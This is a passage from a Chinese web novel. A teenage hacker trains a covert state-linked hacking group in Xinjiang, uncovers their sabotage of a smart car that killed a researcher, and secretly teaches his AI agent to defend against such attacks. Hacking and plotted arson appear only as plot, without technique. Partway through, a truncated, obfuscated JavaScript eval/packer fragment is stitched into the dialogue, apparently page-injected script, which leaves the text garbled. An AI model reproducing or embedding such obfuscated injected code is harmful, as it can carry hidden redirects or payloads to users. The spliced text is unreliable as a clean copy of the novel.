“科研院?啊,那是什么时候的事?”何嘉南急切地问。 “6月30日。” “已经一个月了,你们这么有钱,怎么可能找个人都找不到?”何嘉南太焦急了,一下子没注意自己的说话方式。 方源没有介意男孩的态度,他摇摇头感叹道:“恐怕你们也完全不知情,这孩子在网络技术上的造诣,远超世界上大多数黑客的水平,我们发动了所有能利用的资源,但无论官方还是私下,都毫无回音。” 就在这个和煦的上午,阳光透过窗户洒在屋内,被亲友们深切思念的那个少年,却一脸不屑地面对眼前刚被他逐个逐个冷嘲热讽怼完的人们。 他伸了一个大大的懒腰,然后从铺有巴旦木花纹绸缎地毯的炕台上缓缓站起,唯一澄清的右眼环顾了一圈周围那些故意低下头去的人们,接着他走到门口,穿上鞋子,离开了这所房子。 吴凡叫住他:“唐晔,等下!”他走近少年,低声说:“大家都是同事,说话别太过分。” “同事啊?可是我觉得你们把我智商都拉低了!”少年歪了歪嘴,勾出一个凉薄的笑容,私心觉得自己与他们不一样,又往前迈着步子。 “去哪?”吴凡追问。 “散步。”少年懒洋洋回答。 28. 第 28 章 少年不急不徐地穿梭在土黄色的巷陌之间,这些巷子的墙壁上镶嵌着形如洋葱及半圆形的彩色玻璃窗,色彩斑斓且颇具异域风情。他转过一个街角,登上了一座古老的小楼,楼上悬挂着历经沧桑的“千年茶馆”的招牌。他踏上二楼,在饰有玫瑰花图案窗帘的阳台旁安然落座。 耳边响起了乐师用热瓦普弹奏的达斯坦说唱,节奏明快而动人。他轻啜着白瓷杯里的茶水,玫瑰花的加入使砖茶的茶汤不再太过涩口,而是一种淡淡的甜香。桌上的一小盘果干与坚果,正好给他聪慧的大脑补充能量,他边品尝边望着楼下熙熙攘攘的行人。有的行人打扮得花枝招展,有的则戴着浅花色的无檐小帽,他们来来往往,络绎不绝。 这是位于祖国广袤的大西北南疆、昆仑山脚下的一座古老小城,距离羊城5000公里。 少年回想起,6月30日那天到了白云机场,他与张老头在那间VIP候机室一直等到夜幕降临才乘上飞机。自暗夜起飞,飞了七八个小时,又在暗夜中降落。 在飞机上,或许是气压的变化,或许是引擎持续的轰鸣,创伤未愈的眼球又开始肿胀、剧痛不已,在一次剧烈的颠簸后,忍耐了许久的他不由得呻吟出来。那老头一直用蒲扇般的大手安抚着自己。 飞机到达后,貌似原有别的安排,老头却要求先驱车把自己送到医院。一路上,导航拼命提示超速是真的,那老头的焦急也是真的。 当他无望地认为,以这种小地方、这种医疗条件,自己左眼再也保不住时,车在当地的天蒙蒙亮时开进一个外观土气的院子、里面却是设备一流、齐全的现代化医院,耳边听着医生护士不亚于一线城市大医院的严谨、专业的对话和操作,黎明到来时刻,在那老头的安抚下,他终于沉沉睡去。 几天后是自己的生日。从前有人知晓却无人记挂的,真正的出生日。当那老头带着之前对自己态度冷淡、今天却硬挤出笑容的吴凡,以及近日已熟识的医护人员,一同为自己送来生日蛋糕和礼物时,他稍稍改变了自己过去对这位老人的看法。 他觉得自己与张老头相处就如同与狼共舞。 不过反正自己也是只白眼狼嘛,正好物以类聚。 过了好几天伤势稳定些了,吴凡带他离开那座外观不起眼的医院来到他们的基地,他们让他下了车、让他熟悉一下周围环境,其中要步行一小段路经过一所小学。 一路上,无论是家长还是孩子对着吴凡总有一点怒目而视的意味。 “你是踩过他们尾巴了,还是欠了他们钱?”同感到周围的视线,而少年的嘴巴有点儿犯贱。 吴凡已把他当成自己人,小声地在他耳边说:“我们这样的面孔相对来说,这些年在这里不太受欢迎,你懂的。” 他冷笑着,为吴凡这样的人也需要夹着尾巴做人而幸灾乐祸。 第二天,当吴凡在街角找到了他时,他正和其他高年级小学生蹲在地上赌公仔画片。他已经握了一把画片,还试图赢走另一个男生手里最后的五张。 当他准备离开时,其他孩子大喊:“明天再过来这儿,我们和你玩!” 他笑着回头答应,心里却想:看本少爷心情! 吴凡略有点诧异他这么快能和当地小孩打成一片,看了看他稍作思考,说:“你这异域面孔,在这里倒像回到了家似的。” 他晃着满手赢来的公仔画片轻笑一下,转过巷子又随手扔到垃圾桶里。刚才只身来到、随口撒谎说之前被初中的大哥哥欺凌受伤、宝贝们都被大哥哥们抢走了,很快就博得同情、获赠了几张画片,凭着它们他赢得了更多。 对呀,除了皮肤白一点,他与他们五官脸型结构相似得很,他相信这里干燥的风还有强烈的紫外线,很快就可以把自己变得和他们一模一样。 但他们还是与他不同,他们满心真诚,而他满口胡言。 对于他这样的天才来说,前几日在此地住院的时候,他已经把维语学得七七八八了,刚才在跟孩子们玩耍的过程中,他不但在玩游戏,也在熟悉小孩的表达方式,本能让他学习掌握如何装得人畜无害、可怜兮兮。 他的工作不多。闲时,他逛着小城。 白天,大人们忙于工作,孩子们则去上学。他观察到,老太太们戴着装饰有闪闪发光的珠子的帽子,身上也熠熠生辉,穿金戴玉地出门,或许只是为了买些菜或扔个垃圾。他暗想,在羊城,这样装扮的老太太们,不是去品茶就是去跳舞。 他还看到,一群穿着朴素的老大爷们,身着深色西装,头戴白色小帽,聚集在稍显昏暗的茶馆一楼里,一壶茶、一个馕、三个茶叶蛋,他们就能悠闲地打发掉一整个漫长的午前。他们一边观看维语版的《三国演义》,一边与三五知己闲聊家常。这与羊城的每天茶桌上“一盅两件”的老人们颇为相似。 他在心中不断比较这两个地方,越比较越喜欢,对这两片土地都充满了眷恋。这让他感到意外,因为他本以为自己会狠心遗忘另一个让他千疮百孔的地方,但事实上并没有。 他见两位肥胖的老太太同时挤在一个小花坛里挖着什么,好奇地蹲在那里看了一会。 老太太发现了他,友善地笑了,给他介绍着她们正在种香菜,又怕他听不懂,还热情地把种子包装也展示给他看。他提出想和她们一起劳作,老太太们比划地问他,为什么不跟别的孩子们去玩? 他指着受伤的眼睛、用越发熟练的维语、越发熟练地撒着谎说,这只眼睛看不见、被朋友们嫌弃。 老太太们闻言愤怒不平,一边播种一边安慰他,快速干完手头的活又把他带到家里,煮了热乎乎的药茶招待他——那植物他没听过,只知道老太太们平时都轻易舍不得喝,就因为“对你的伤有好处”,又怜惜他瘦弱、把刚煮好的抓饭里最大最嫩的那块羊肉分给了他,仿佛要把心都掏给这个刚刚认识的少年。 早已习得口不对心的少年,虽然表达了热情的谢意,内心却冰冷坚硬。再来看望她们?看本少爷心情。 他独自漫步在小城迷宫般错综复杂的小巷中,数着古老的土黄色墙壁上岁月的痕迹。 突然,远处巷子里传来了一阵阵欢快的音乐声,转过一个弯,他眼前一亮,只见一个宽敞的院落里,人群簇拥,欢声笑语此起彼伏。原来,这里正在举行一场婚礼,欢快的音乐、热烈的舞蹈,还有人们脸上洋溢的幸福笑容,让他忍不住驻足观看。 新郎新娘被众人簇拥在中央,他们的脸上洋溢着幸福的笑容。旁边的人们围成一圈,肩并肩手搭手,又或是互相叉腰绕着圈,跳着欢快的舞蹈。他被这欢乐的氛围所感染,虽然他对维吾尔族的舞蹈并不熟悉,身体也由于不擅长运动而显得笨拙僵硬,他模仿着其他人的动作,左脚右脚交替跳跃,双手随着音乐摆动。 跟着跳了一会,惊觉自己开始被人们的热情触动,又马上转身离开。 他刻意穿行于别人的热闹里,却无意与任何人发生亲密关系。 他刻意让自己游离于这座温暖而真诚的小城,许了很多诺言又借故忘掉,无意较真。 除了他每天要做的“工作”。 因为他每天要做的“工作”。 当时3月份他就好奇,作为退休前如此大的两个官儿,怎么会专门跑到羊城见自己?何老怪来羊城是为了引见自己给科研院的人还说得过去;这个张老头,就算他在职,降他四五个级别也不需要亲自来督导这些下属吧。 张老头在技术方面的造诣,绝非寻常老头所能及——自己爷爷看都看不懂、也漠不关心;而何老头,虽然因为之前在教科文领域的工作,对新技术有一定的接受度,但他的兴趣和理解也仅限于技术如何应用在实际生活和工作中。 然而,张老头给少年的印象则截然不同。他不仅熟悉技术,更对技术本身有着深刻的理解和独到的见解。每当谈论起技术,张老头的眼中都会闪过一丝深沉,仿佛他能洞察技术的每一个细节和背后的原理。 直到少年跟随张老头来到了这个地方,他才真正了解到这位老者的非凡之处。 初见张老头,他那熊一般的体格和虎一般的气质确实令人望而生畏,仿佛是一股不可小觑的力量。但相处之后,少年发现这只是张老头的外在表象。他拥有狼王般的非凡品质:智慧深邃,统帅力出众,精通技术应用,并深刻领悟了新时代战争的核心本质。 少年在这里为狼王般的老人训练了他手下更多凶猛的狼,不知那狼王般的老头如何统领手下,但这些大人整天受到他这凉薄小孩的冷嘲热讽,却始终沉默不语。然而,对于他所教授的内容,无人敢不学会。 吴凡首次将这名网络代号为SL的少年介绍给组织内的成员时,无论是在场的所有人,还是分布在各地的其他成员,都对这位在黑客榜上赫赫有名的少年投以惊异的目光。他们早已听闻其威名,但真正见到本人时,仍旧为他的年幼而感到意外。 更让他们忌惮的是这少年所展现出的精湛技术和强大能力。 在黑客的群体中,关于他的传说如春风中的野草般疯传:有人说他是天生的编程鬼才,掌握着顶级的编码能力,能够轻易破解采用高级加密标准和最先进的公钥密码体制等复杂加密算法;有人说他曾在数分钟内单手改写了一个国家级别的深度包检测防火墙,利用精湛的渗透测试技巧,绕过重重安全防护把代号刻在核心地带上,令整个网络安全界为之震惊;还有人传言,他甚至能够通过利用物联网设备的漏洞,实施先进的网络攻击,在整个城市的通讯网络和基础设施上来句“天气真好”。 而少年本人却对其没有太大感觉。对于他来说,在网络世界里闯荡不过是像孩童们在小公园里冒险;捣乱地把数据搬来搬去,只是像玩泥沙一样把东西倒腾来倒腾去;改写防火墙,就像是孩童喜欢到处胡乱涂写“XXX到此一游”;破解复杂的加密算法对他来说就像是在捉迷藏游戏中找到一个绝佳的藏身之处一样,令他兴奋。 他并不觉得自己的行为有多么特别,在他的眼中,网络世界就是一个充满奇幻和趣味的冒险乐园,而他就是那个在这个乐园中自由穿梭的冒险家。 记得他第一次黑进网络,是我国的户籍数据存储服务器。 在那个孤寂的山中大宅,他的姐姐告诉他,“只要是住在一起的,就是一家人啊!”但家里的其他人并不是这样觉得。 姐姐想了想又告诉他,“只要是在同一个户口里的,就是一家人啊!”他眨巴着大眼睛问姐姐什么是户口,姐姐在电脑上打开了一个网页,指着说:“看,上面没有你。” 他眨巴着大眼睛,就看清了网站的脉络,莫明地在姐姐惊诧的眼神中开启了服务器的后门,又把自己的名字,“唐晔”,一笔一划地打上去,虔诚得犹如在祈愿贴上写名字,仿佛这样做就能让他真正融入这个家庭,成为它的宝贵一员。 而在这里的人们,号称是红客组织,但却做着与黑客无异的行为。 在外界眼中,红客是网络安全的守护者,运用自己的专业知识,致力于发现网络系统中的漏洞,并及时提出改善和修复的建议,以确保网络环境的安全稳定。 少年在检查他们的“作业”时,略为惊讶地发现,他们虽然以红客身份为掩护,但实际上却利用高超的技术手段,突破了许多重要机构的严密防线。他们在服务器里有组织地、悄无声息地篡改和盗取信息,中断服务,甚至干扰服务器向终端发送正确指令。 少年突然注意到一段特殊的数据流。这段数据流与其他的信息流的区别并不明显,但它包含着一系列复杂的指令,显然是针对某个特定的目标。他仔细看完后震惊地发现,这些指令竟然是用来干扰一台智能汽车的正常运作的。 他翻看着一行行代码,留心了一下命令指向的时间和地点,坐标是京城西城区,今年5月初。 在彼时,进口智能汽车刚进入本国市场不足半年,观望者众,一开始除了一些毫不在意金钱又标新立异的富二代、就只有相关业界的从业人员会选择购买。 5月7日,这台新兴智能汽车使用自动驾驶模式时,与一辆大型牵挂型卡车发生碰撞,导致车主死亡。这是全国第一例自动驾驶事故致死案例,引起了广泛关注。 但为了尊重逝者隐私,除了调查人员,外界几乎无人知道逝者的名字和真实身份。而这其实竟与另一则讣告有着紧密联系:“科研院某研究所负责人何粤同志因事故去世”。 他查了一下新闻、国内相关调查机构的报告,甚至悄悄进入了生产企业的内部网络搜索过了,两个月过去了,还没有对此事有定论。 他深吸了一口气,知道自己可能截获了一个关键线索。 这段数据流是如此隐蔽,以至于如果不是技艺高超如他、对代码的解读能力犹如破解儿童游戏般轻松,这一秘密恐怕会永远石沉大海。 是张恩国的人,操控了何粤的智能汽车,从而导致了何粤的死亡? 在这个错综复杂的世界里,利益冲突无疑是最大的驱动力。 何粤一个看似平凡的研究员,在他人眼中或许无足轻重,但他手头的工作却是国家最前沿的人工智能研究项目。谁能想到,这个戴着粗黑框眼镜、才四十多岁就头发花白的、外表并不如何家其他人这么出众的土气中年大叔,竟肩负着如此重任。 想当年,本国在这个领域本应处于领先地位,可惜随着先驱者唐晚星的离世,这一优势地位逐渐丧失。何粤努力守住了这一领域的星星之火,成功抵御了国外技术的侵蚀,为本国的人工智能技术赢得了宝贵的成长空间。 别相信所谓的“历史车轮滚滚向前不会被阴谋阻挡”这种屁话。有时候,风口一下子就过去了。 天才少年坐在电脑前,心乱如麻。他自言自语道:“所以,张恩国急着把我紧紧握在手心里,他到底想怎么样?”这个问题困扰着他,但他又觉得自己不过是个小小的玩家,拥有着比他人更高的技术而已,但他从未、也不打算入局获利。 “我也只是按照老头的要求去训练手下的其他‘技术员’而已,或者是他们打不开的后门由我打开,但他们在里面做了什么,关我什么事呢?” 他摇了摇头,试图把这些复杂的思绪甩掉。“话说回来,他们适时控制了那台车而已,碰巧出事故了而已,这真的关我什么事呢?”他一再重复到让自己信服,之后冷笑了一下,“我只要做好自己的工作,训练好那些人不就行了?” 南疆的夜晚,快十点了,天色才刚刚开始变蓝。 少年漫无目的地在巷子里游走,竟然发现,一个横跨小街的二楼加建房间——当地人称之为“过街楼”——的下方,主人家体贴地悬挂了一盏灯。本来过街楼既不影响楼下行人行走,又充分地利用了巷子空间,除了会让巷子变得阴暗无比之外没任何毛病,但自从他左眼受伤,到现在视物还模糊一片,对距离的判断力大不如前,有过街楼的阴暗巷子已多次让他跌跌撞撞。这盏灯让他安心无比。 他静静地站在那里,凝视着那盏昏黄的灯泡,功率可能还不到五瓦。这盏灯,就像一个年迈的守护者,尽管力量微薄,却坚定地发出暖黄色的光芒。 光线虽然只能勉强照亮周围几平方米的地方,但对他而言,已经足够了。他目光所及,是砖石路上的每一个坑洼、每一道裂痕,本来隐藏在平淡无奇的路面下等待不慎的脚步。 这时,这家的门打开了,从里面走出个提着垃圾的矮小男孩。他快速跑到到巷口的垃圾桶倒掉垃圾,走回家时,留意看了一眼刚才在自家门口发呆,现在才慢慢回过神来的小哥哥,突然叫道:“AKA!(哥哥)” 他回过神,这又是哪一天、哪个被承诺过的小弟弟?他现在手头什么玩具也没有,找个理由推托过去吧! 身高只到他胸前的小男孩却并不是向他伸手讨承兑的,而是热情地挽上他的手,带他转身进了家里大门,一边还大叫道:“Moma(奶奶),您看谁来了?” 只见正准备开饭的一家人,主位上的老妇人抬起了头。正是那位两个星期前他无无聊聊逛着小城时、认识的两位在种菜的老妇中的另一位。 她看见了被带进屋的少年,老脸上瞬间笑开了花。她热情地邀请他坐在主位,与家中的爷爷并肩而坐。 小男孩坐在爸爸和妹妹旁边,得意地对这个新来的小哥哥说:“看,我厉害吧!我之前只看过一次Moma和你的合照,但刚才一眼就认出了你!” 少年听后笑了笑,心里却不无自嘲地想:“还不是因为我脸上那道醒目的伤疤。” 他的左脸,从眉骨上方延伸到眼皮上,刻着一条又粗又深的伤痕,如同一条丑陋的爬虫横亘在上,眼睛因此只能睁开一半,视线模糊不清,曾经清晰的世界如今只剩下一片片明暗与色块。 他不由得自嘲地冷笑,何……学校里以前那些觉得他好看的女生,要是看到他如今这副模样,恐怕会毫不留情地嘲笑他活该。 活该。他再次暗暗讽刺了自己。 挪到媳妇旁边坐的老奶奶关切地询问他的伤势。 他平静地回答:“已经好多了,前两天医生说再过半个月左右就能看清东西。”对着这一圈真诚的眼神,他不想再卖惨卖乖。 老奶奶听后,急忙说:“那是我姐姐珍藏的药材起了作用!你明天再来,我们再煮给你喝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“张爷爷,您找我?”少年平静地问。 “关门,坐吧。” 他乖乖地坐下。虽然年龄相差了差不多60岁,但这壮硕老人的力量不是体弱多病的少年能比拟的,懒得反抗省得疼。 在威严老者凌冽的目光示意下,他打开面前的保温罐——呃,这是……一盅莲藕排骨汤? ——他不由得哑然失笑。觉得自己应该见到什么?血淋淋的几根人类手指?还是一片人类耳朵?难不成这是人类排骨?!为了警告自己别乱做事、别乱说话?!警匪片看多了吧。 老人看到他疑惑的神情,也带上点疑惑:“你不是喜欢喝吗?前几个月你跟他们交接龙之城时,几乎不吃不睡,就是有次伙食是这个汤时,我见你喝了一大碗。” 少年暗暗放下心来,没好气地说道,“不就喝个汤,至于神神叨叨把我叫到办公室关上门?” 老人皱眉:“除了吴凡,其他绝大部分人都是这个地区的少数民族,戒猪肉。你别说大人没教你,要尊重别人的民族习惯和宗教信仰!猪肉也要改称大肉,知道不?” 尊重别人,你让人把自己老哥们视作亲儿的侄子给暗杀了?真矛盾!少年一边想一边毫不客气地喝了一大口汤。 是南粤老火汤的味道,清淡滋润,还挺好喝的。他又一边用勺子小口吃着炖得粉粉的莲藕,一边还在奇怪,本来今晚在老奶奶一家被哄着吃了那么多鸡块和皮带面,应该啥也吃不下才是,结果回到这里,一盅汤,竟然很快喝了一半! 张恩国见他开胃,反而有点不好意思似的补充:“这汤是从京城的粤菜馆随意打包的,我也不知正不正宗,在这边吃羊肉牛肉腻了吧,你随便喝点。” “很清润,谢谢!”少年低着头,没让他看到自己的脸,当然也没让他察觉自己眼里打转的水珠。嗤,真没用,不就一碗热汤! 少年连续眨了几下眼想让泪水快点被吸收掉,对面的老者看到,皱了下眉:“你这伤……哎,还是得想办法治治。” “不用了,丑就丑吧!”少年并不在意,反正也没人会在意。 “傻孩子,不止是相貌的问题,眼睛都睁不开了,而且气压、气候一变化,伤疤会很疼的!现在看东西怎么样了?”老者尽量压住自己的温度。 “嗯,还看不清,就光感和色感吧。”他也用尽量平淡的语气回答道。今天怎么了,那么多人关心?突然觉得好不适应!又调侃老人说:“怎么,在张宇口中她外公凶得像头狮子,您这是转性子了?” “小宇嘛,从小整个男孩子似的,有时候忍不住就凶巴巴地吼了她。”提起外孙女儿,老者的脸竟然有一丝松懈:“不过她小时候发烧啥的,都是我在照顾,她爸驻外、她妈整天在军营,哪有空管她。嘿,这皮猴子竟然说我像老虎?!小没良心的……等这边的事告一段落,抽空带你回京城彻底治好这伤,顺便和她见见?她转学回京城还一直念着你呢!” 少年不动声色地问道:“那你们干嘛驻在这儿,你们干的事儿,在皇帝老子眼皮子底下也没问题呀!非得来这鸟不拉屎的地!” “怎么,当时以为要去皇城根儿下享福,现在来到这‘蛮荒之地’,恨上我了是不?”对面的老者一样不动声色。 少年干脆坦诚:“对呀,之前你又说‘你将能参与国家大事的讨论与决策,你的意见和建议甚至可能影响国家的发展方向’什么的,哎——,我以为我还会见到那些大领导,像新闻里那些穿着西装打着领带跟在他们身边呢!” 他们正在做的事,的确影响了很多人的决策倒是不假,但…… “哈哈哈哈,你是想当安保还是翻译啊,小子!”老者大笑起来,又说,“坦白跟你说,这里离边境就几十公里,往西过了这茫茫昆仑,天高云淡任鸟飞。至于这边的人,真诚纯朴,对朋友掏心掏肺,因而也极易挑起争端。要不然,这老城里的房子密密麻麻连成片,又是木头加草木灰,空气干燥,一旦起了火,后果巨大。我呢,怎么说对这边的战力还是很了解,一旦发生火情,肯定把力量都投放到救灾上。到时湮灭证据、趁乱走人也容易。”老者倒很诚实。 少年想起这里的一张张笑脸和关切的眼神,虽然不排除大部分一开始是自己示弱装乖换来的,但,掏心掏肺,老头也真没说错。 想到这儿他又带着些讽刺的口吻:“嘿,刚才还大言不惭教我尊重人家民族信仰,转头就想着怎么利用这一个个血肉之躯给自己挡子弹。您可是真矛盾啊!” “性命攸关的话,还顾得上别人的信仰?自己的信仰都不知丢到哪个角落了!”老者看似威严地哼了一声,却转开眼睛看向一边。信仰?多年前他已看得一清二楚。 “话说,今天离京前,唐老哥直接找上我,问我那边是否截获过一丝关于你的信息。”老者又开口。 “那您怎么回答?”少年拍着饱胀的肚皮,对这话题明显兴趣缺缺。 “自然是宽慰了他,一有你的消息立马通知他呗!”老者问:“你想回去?” “怎么会?!”一声嗤笑。 “但他愁眉苦脸的,看得出这次可真是焦急了。”老者又劝道,不知是真心还是假意。 “嗝……迟来的深情比狗贱!”少年把这反感随着打嗝儿,从嘴里吐出去。 他擦了擦嘴巴走出房门。 他回想起三周前,当他从那所外表不起眼的医院出院、来这座古老小城的路上,曾路经了一个1600年前的佛窟废墟,据说还存有以前的壁画。出于对绘画艺术的热爱,他对张老头撒娇卖萌,只为能一窥那古老的传说。最终他得偿所愿,走进了那座充满历史沉淀的佛窟。 然而,眼前的景象却让他惊愕。佛家塑像的头部无一完好,颜色尚鲜明的壁画中,佛像面容尽被损毁。讲解员沉重地介绍,这是一千年前,当时的统治者因宗教信仰转变而下令破坏的。 没有什么物事是亘古不变的,坚定如信仰,脆弱如感情。 当时他站在废墟里,心中无端涌起一股悲凉。 连最高的信仰都能被颠覆,这世间还有什么是不可能的?他沉思着现实中的利益斗争,从个人争夺尊严与红利,到群体性的财富与权力分配,再到民族乃至国家间的资源争夺,总有些事物在争斗中沦为牺牲品。小孩才分对错,大人只看利弊。 “水至清则无鱼。”他低声自语,仿佛在自我安慰。 就这样吧。在这片古老而历史悠久的土地上,只要人们的真诚面孔依旧灿烂,就可以了。 但是,我不希望有无辜者的鲜血流下来。 29. 第 29 章 那天,张恩国接到一个电话——他对这少年以及吴凡放心得很——“何老哥……啊?他们查到了有人干扰了阿粤的智能汽车运行,才导致了阿粤的车子失控?这是好消息啊,很快阿粤的事就能水落石出了吧,您也终于能安下心来了……唐家那娃儿还是没消息呢,行,你俩放心!” 张恩国轻声安慰了何耀祖几句,才挂断了电话。 此刻,房间内的吴凡和少年正对视着。吴凡的目光如同寒冰,似乎在审视着眼前的这个少年,而少年在这冰冷的目光下显得有些局促不安。他原本已经为自己准备了一套完美的“我不知情”的戏码,但此刻,在吴凡的逼视下,他突然悲哀地发现,自己的演技似乎并不足以骗过这位历经沧桑的老人或者眼前这位目光如炬的吴凡。 心中一急,他转身走到窗边,抬头望向小城的天空。沙尘暴竟然在这个时节罕见地席卷了这座城市,天空被染成白茫茫又黄澄澄的一片。阳光虽然依旧灿烂,但却被厚厚的沙尘遮挡,无法洒落在人们的身上。 少年冷笑一下,连何耀祖都能如此信任自己的朋友!何嘉南,你为何不信我? 他又假装看手机而掩饰着自己纷乱的思绪,镜面一样的手机屏幕上反射着自己左脸上刺眼的疤痕。 像这样肮脏丑陋的……怪物,不配。 羊城。 何妈妈黄莺发现儿子何嘉南上午回学校后,中午回到家就显得闷闷不乐。直到晚上何西回家,全家人围坐在餐桌前,何嘉南依旧是一副心事重重的样子。两夫妇对视一眼,都看出了儿子的不对劲,不禁关心地问道:“南南,怎么了?今天有什么不开心的事情吗?” 何嘉南抬起头,有些迟疑地问:“爸爸,你…你知道唐晔去哪里了吗?” 何西闻言一愣,这件事他确实知道一些,唐晔的失踪,不仅堂叔何耀祖问过他,连万里地产的方源也因为两个孩子关系好,特意叮嘱他一旦有消息就立刻通知。 黄莺想起之前曾问过儿子为什么不和唐晔一起玩了,当时何嘉南还生气地让他们不要多问。她轻声说道:“南南,我们之前不是问过你最近怎么不和唐晔一起玩了吗?你当时不是说你们吵架了,叫我们不要多问吗?” 何嘉南低下头,手指无意识地搅动着碗里的饭菜,声音有些低沉:“嗯,我们是吵架了,因为我误会了他。”他终于向父母讲述了他们因何而决裂的事。自己的冲动和误解,对友情造成了无法挽回的裂痕,估计,也对唐晔造成了极大的伤害吧。 黄莺轻轻拍了拍儿子的手,安慰道:“南南,有时候我们会因为一时的气愤而做出冲动的决定。但你要知道,朋友之间最重要的是信任和理解。” 何西也叹了口气,接口道:“是啊,南南。你妈妈说得对。虽然我们现在不知道唐晔到底去了哪里,但当你试图去理解他,也许还能扭转事情。” 何嘉南抬起头,眼中闪烁着迷茫的光芒:“爸,妈,我该怎么做?” 4月份看过那孩子展示过他自创的wasteland、也知道那孩子的网络技术十分高超的何西,斟酌一下说道:“南南,由于唐家现在还是决定秘密寻找孩子,为了唐晔的安全考虑,所以暂时还是不要对太多朋友公开这事。但你可以写一封道歉信,或者录一段视频发到你们的社交平台上,我相信他会看到的。” “但他已经把我删了好友,甚至他的微博和邮箱也注销了。”何嘉南有些难过地说。 “没关系,南南。只要你真诚地表达了你的歉意和愿望,我相信他一定能看到。”何西为儿子打气,也在暗暗祈祷,事情还有挽回的余地。孩子,你千万不要走错路! 边城。 少年强迫自己认定,何粤的智能汽车事故仅仅是个巧合。 然而当他在这两日里,有意无意地往前追溯时,一条异常的指令再次进入了他的视线。他逐行审视着这条指令,仅凭想象,那潜在的恶行便深深地震撼了他。 他忍不住上网查找了那段时间的相关新闻,一条去年的消息引起了他的注意:那是11月14日,在欧洲的某个国家,一辆高速列车突然失控出轨,造成了11人的死亡。事故的原因,同样是控制系统突然不明原因地失控。这看似巧合的相似性,让他的心开始不安地跳动。 更让他惊愕的是,经过深入调查,他发现原本应该有一位高官搭乘那趟出事的列车。 这个发现,使他的心再也无法平静。他开始质疑前天的想法。谁说没有无辜牺牲呢! 即使技术的发展过程中存在着利益斗争,也绝不能以牺牲人类最宝贵的生命为代价。 生命的尊严和价值是至高无上的,任何技术的发展和应用,都应该以尊重和保护生命为前提。 夜晚回到房间,少年打开了自己的私人电脑。他虽然向科研院相关人员承诺过不再使用Nuit和龙之城,但现在可不是计较承诺的时候了。 他召唤出了他熟悉又强大的智能体Nuit。教它如何开启他发掘的神秘网络空间Wasteland,这是之前只有他自己能够进入的禁地。现在,他将这片土地的秘密与Nuit共享,让它能够在这个安全又秘密的环境中自由探索和学习。 接下来的好几个深夜,在wasteland中,天才少年与他可爱的Nuit进行了深度的“对话”:首先他强调再强调,Nuit必须经常反思,自己的行为是否符合深深刻在他们脑海里的“机器人三原则”:机器人不得伤害人类,也不得因不采取行动而使人类受到伤害。 他精心教导Nuit,利用先进的机器学习技术,如深度学习和支持向量机等,来精确甄别海量数据中的异常指令,比如利用深度学习中的卷积神经网络来训练Nuit识别图像中的异常模式,以及通过支持向量机对指令进行分类,以识别潜在的恶意指令。这些指令可能是针对人类生命维持系统的恶意干扰。 他进一步引导Nuit深入理解网络指令中的潜在风险。例如,一些表面上看似正常的指令,可能实际上被黑客用来控制私人交通工具,进而制造交通意外。他教会了Nuit如何运用自然语言处理和上下文分析技术,通过词嵌入和长短期记忆网络来理解指令的上下文来识别这些伪装指令的真实意图,并在第一时间做出正确的反应。 在公共交通领域,他特别训练了Nuit应对各种复杂情况的能力。无论是地铁、公交、火车还是航空器,Nuit都须在短时间内通过机器学习模型判断出指令的合法性。 同时,对于交通指示灯、电梯、步梯等公共设施的干扰,他也为Nuit设计了专门的防御机制。通过实时监测和分析这些设施的运行数据,Nuit能够迅速识别异常情况,并及时采取措施排除故障。 除此之外,他还特别强调了智能体与网络警察的紧密合作。他教会了Nuit如何收集和整理黑客攻击的证据,确保这些证据的完整性和真实性。 他要确保,自己不在的情况下,Nuit也能尽它所能地保护着人类的生命安全。 唐晚星培养出的神龙,原是为了斩妖除魔。现在,这少年要让它守护苍生。 这里的天亮得很迟,早上8点多还只是微光。少年在羊城时经常难以早起上学,但在此地,却每每起得比当地的鸡还早。 他走到一楼平时吃饭的地方,半个人影都没有。他左手拿了一块哈密瓜咬了一口,右手又抓起一只刚刚上市的无花果。这里的水果真甜啊! 只是,总听他们说的、这里最有名的玫瑰香葡萄还未到成熟期。少年有点可惜,自己怕是再也吃不上了。 张老头这位狼王,它该具有智慧、力量、勇敢和责任心,也会果断地对敌人或背叛者冷酷和残暴。他不知张老头的底线去到哪,但,张老头与手下的行为,已经踩到少年的底线了。 ——他自己已经深陷其中,他要是暴露、逃走,已经被吴凡熟知的行踪里,那几家善良的人将安危难测。他再次后悔不已,为自己被一饭一茶之恩心动而陷他们于危难之中。 所以他也不能让狼群认定,这些保护和防御性网络行为是他做的。 还好,Nuit这个强大的智能体,现在就像另一个他一样,Nuit能做得越多,他和他身边无辜的人就越安全。 8月初的夜晚,吴凡坐在昏暗的房间里,双眼紧盯着电脑屏幕。 这几天,他们发现原本毫无破绽的网络系统突然出现了层层防御,犹如铜墙铁壁,难以攻破。他们意识到,这背后必有高手在暗中操作。 突然,他的目光定格在了一串代码上——那是他们最近尝试攻破的防御系统中的一段核心算法。这段代码的风格,与他所熟知的某位少年的编程风格如出一辙。干净、利落,且带有一种独特的优雅。他也隐约记得唐晔在之前给他们教授人工智能知识中,曾展示了这算法的应用。这种方式不能说独一无二,但熟练运用的人少之又少。 其次,是那些攻击记录的应对策略。每当他们的攻击手段有所变化,防御系统总是能迅速调整策略,仿佛有人时刻在暗中监视并做出相应的调整。这种反应速度和精确度,远远超出了普通网络安全团队的应对能力。 更让他心生疑虑的是,那次他们试图利用一个已知的漏洞进行攻击,却发现该漏洞早已被修补,而且修补的方式与那少年在以前交接Nuit的培训中曾提到的解决方案如出一辙。 吴凡把疑问向张恩国提了出来,不加评论。他看出自己一直像狼王一般凶狠的头儿,对那少年与对别的手下,是不同的。 张恩国的脸色有点阴晴不定,“你的意思是,那小子可能在我们背后搞鬼?”他的语调低沉却充满力量,眼中透出一抹凌厉。 吴凡点了点头,没有直接回答,但他的意思已经很明显。 张恩国沉默了片刻,似乎在权衡着各种可能性,唐晔是个天才,但他从未想过这个处处失意的少年会成为他们的敌人。这些“证据”,并不足以明确指向他。“如果真的是他,那他为什么要这么做,总不会为了他可笑的‘正义感’吧?”张恩国皱着眉头自语。 